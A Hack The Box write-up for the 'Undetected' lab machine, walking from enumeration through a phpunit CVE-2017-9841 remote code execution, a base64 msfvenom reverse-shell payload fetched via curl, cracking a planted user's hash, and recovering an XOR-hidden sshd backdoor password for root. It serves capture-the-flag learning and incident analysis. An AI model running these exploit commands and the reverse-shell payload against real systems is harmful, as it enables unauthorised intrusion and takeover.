HTB Writeup: Undetected
Nothing is unhackable. Nothing is undetectable.
Enumeration
nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-01 08:36 IST
Nmap scan report for 10.129.136.44 (10.129.136.44)
Host is up (0.078s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2 (protocol 2.0)
| ssh-hostkey:
| 3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)
| 256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
|_ 256 70:15:39:94:c2💿64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Diana's Jewelry
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.17 seconds
- A web server is discovered listening on
TCP/80
Web Server
-
A website is found on
http://<ip>/
. -
The
View Store
button points tostore.djewelry.htb
. -
An entry in
/etc/hosts
file is added forstore.djewelry.htb
which points to the IP of remote target.
Initial Foothold
Web directory fuzzing
-
The web server is fuzzed for directories and files using
ffuf
and the wordlistseclists/Discovery/Web-Content/big.txt
.ffuf -u 'http://store.djewelry.htb/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/big.txt # -u : Url to fuzz # FUZZ : place to inject the payloads from wordlist # -w : Wordlist to use
-
Directory
/vendor/
is present. On visiting the directory in web browser, list of packages being used by the website is found. -
phpunit
module is found located athttp://store.djewelry.htb/vendor/phpunit/phpunit/
. Reading from the changelog file, this is version5.6.0
, which is vulnerable to CVE-2017-9841. -
To test for vulnerability, following curl request is used:
curl 'http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' --data "<?=system('whoami;id');?>"
-
From the response, it is confirmed that the web application is vulnerable to the flaw and remote code execution is achieved.
-
This can be leveraged to obtain a stable reverse shell
curl 'http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' --data "<?=passthru('echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA4gAAAAAAAABMAQAAAAAAAAAQAAAAAAAAajlYDwVIhcB0CEgx/2o8WA8FBHAPBWo5WA8FSIXAdepqKViZagJfagFeDwVIl0i5AgAjggoKDhVRSInmahBaaipYDwVqA15I/85qIVgPBXX2ajtYmUi7L2Jpbi9zaABTSInnUldIieYPBQ== | base64 -d > /tmp/exploit; chmod 0755 /tmp/exploit; /tmp/exploit')?>" # f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA4gAAAAAAAABMAQAAAAAAAAAQAAAAAAAAajlYDwVIhcB0CEgx/2o8WA8FBHAPBWo5WA8FSIXAdepqKViZagJfagFeDwVIl0i5AgAjggoKDhVRSInmahBaaipYDwVqA15I/85qIVgPBXX2ajtYmUi7L2Jpbi9zaABTSInnUldIieYPBQ== is msfvenom generated payload that connects back on port 9090
User Access
-
After initial access,
[linpeas.sh](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
is used to enumerate and gather information about the target host with privileges ofwww-data
-
One of the interesting findings is the file
/var/backups/info
-
When examined closely, it turns out to be a dynamically lined executable, unstripped.
-
The file is then downloaded on local host and examined with reverse engineering tools (IDA).
-
A hex encoded payload is found in the
.RODATA
section of the binary file. -
The following python script is able to extract and decode the payload from binary file:
#!/usr/bin/env python3 import binascii import pwn e = pwn.ELF("./info") print("Extracting .rodata") ro_data = e.section(".rodata") print("Getting start address of the payload") payload_start = ro_data.find(b"776765742074656d7066696c65732e78797a2f6") print("Getting end address of the payload") payload_end = ro_data.rfind(b"6572732e7478743b") + len(b"6572732e7478743b") print("Decoding payload") payload = binascii.unhexlify(ro_data[payload_start:payload_end]) print(f'''Decoded payload:\n{payload.decode()}''')
-
The payload hints that it was an exploit, that appended a new user ending with
1
and havinguid
andgid
same as an existing user to/etc/passwd
. Also, a UNIX password hash was added for the same user in/etc/shadow
. -
The content of
/etc/passwd
shows that the usersteven
has been compromised, with usersteven1
having sameuid
, andgid
assteven
. -
The hash from payload can be cracked using hashcat. The mode is identified as
sha512crypt
, hash mode 1800 on hashcat..\hashcat.exe -m 1800 -a 0 Y:\Documents\HTB\Undetected\hashed_pw.hash G:\Wordlists\rockyou.txt #(--show if already cracked)
-
The credentials found are
steven1:ihatehackers
-
On connecting to remote target using SSH with the found credentials, a successful session is obtained.
Privilege Escalation
Enumeration
-
A pending email is found in
/var/mail/steven
. The content of E-mail read:steven@production:~$ cat /var/mail/steven From root@production Sun, 25 Jul 2021 10:31:12 GMT Return-Path: <root@production> Received: from production (localhost [127.0.0.1]) by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847 for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT Received: (from root@localhost) by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847; Sun, 25 Jul 2021 10:31:12 GMT Date: Sun, 25 Jul 2021 10:31:12 GMT Message-Id: <202107251031.80FAcdZ171847@production> To: steven@production From: root@production Subject: Investigations Hi Steven. We recently updated the system but are still experiencing some strange behaviour with the Apache service. We have temporarily moved the web store and database to another server whilst investigations are underway. If for any reason you need access to the database or web application code, get in touch with Mark and he will generate a temporary password for you to authenticate to the temporary server. Thanks, sysadmin
-
The email hints to some problem in the running Apache web service.
-
The configuration directory for the web service is located at
/etc/apache2
. -
Listing the contents of the directory
/etc/apache2/mods-available
and sorting them by size and date, a file stands out odd.mod_reader.o
This file is an 64-bit non-executable ELF object with debug symbols. This directory usually contains configuration files and loading information for modules of Apache2 web server. This file is in odd placement. -
This file is downloaded and analyzed again in a reverse engineering tool. (IDA)
-
A base64 encoded string is found in
.rodata.str1.8
section of the. This can be extracted with following python script.#!/usr/bin/env python3 import base64 import pwn print("Opening ELF object") e = pwn.ELF("./mod_reader.o") print("Extracting encoded payload") payload_encoded = e.section('.rodata.str1.8') print("Decoding payload") payload = base64.b64decode(payload_encoded.strip(b'\x00')) print("Decoded payload:") print(payload.decode())
-
The payload is found to be a dropper payload, which replaces
/usr/sbin/sshd
. The/usr/sbin/sshd
is downloaded and analyzed in the same manner as previous files. Thesshd
on the target reports versionOpenSSH_8.2p1, OpenSSL 1.1.1f 31 Mar 2020
-
An untouched version of the same is downloaded from the official
Ubuntu 20.04.3 LTS
repository for a side by side comparision.apt show openssh-server | grep "Version:"
-
The installed version is
8.2p1-4ubuntu0.4
as stated by the repo. Locating this on the repo, it can be found at :http://launchpadlibrarian.net/572977772/openssh-server_8.2p1-4ubuntu0.4_amd64.deb
-
The hashes for the clean and remote target’s executables don’t match. Both the executables are analyzed for differences using
BinDiff
. The attacker’s executable is not stripped. -
The function
auth_password
is found to be modified and a backdoor has been placed. To look closer at the backdoor, it is re-analyzed in IDA. -
The backdoor appears to be a hardcoded password in the modified executable, encrypted using a XOR based encryption. After de-obfuscation of the backdoor code, it’s a single byte XOR with key
0x96
. The first half of the encrypted bytes (in hex) are in.rodata
section and the second half is hardcoded in theauth_password
:d6abe7f0f3a3b3a4c8fdbbf7e7d6b3fdd6b3a0fda0f4d6b2e3b5f0bcf4a9a5
-
On XOR decryption with key
0x96
, the plaintext password is@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
#!/usr/bin/env python3 import binascii encrypted_backdoor_1 = 'FDB3D6E7F7BBFDC8A4B3A3F3F0E7ABD6' encrypted_backdoor_2 = 'A5' encrypted_backdoor_2 += 'A9F4' encrypted_backdoor_2 += 'BCF0B5E3' encrypted_backdoor_2 += 'B2D6F4A0FDA0B3D6' encrypted_backdoor = encrypted_backdoor_2 + encrypted_backdoor_1 encrypted_backdoor = bytearray(binascii.unhexlify(encrypted_backdoor)) encrypted_backdoor.reverse() print(f"XOR Encrypted password: {encrypted_backdoor.hex()}") print("Decrypting password...") decrypted_backdoor = [] for char in encrypted_backdoor: decrypted_backdoor.append(char^0x96) print(f"Decrypted password: {binascii.unhexlify(bytearray(decrypted_backdoor).hex()).decode()}")
-
Using
root:@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
as SSH credentials, a successful session asroot
is obtained.
The remote host is compromised. Again.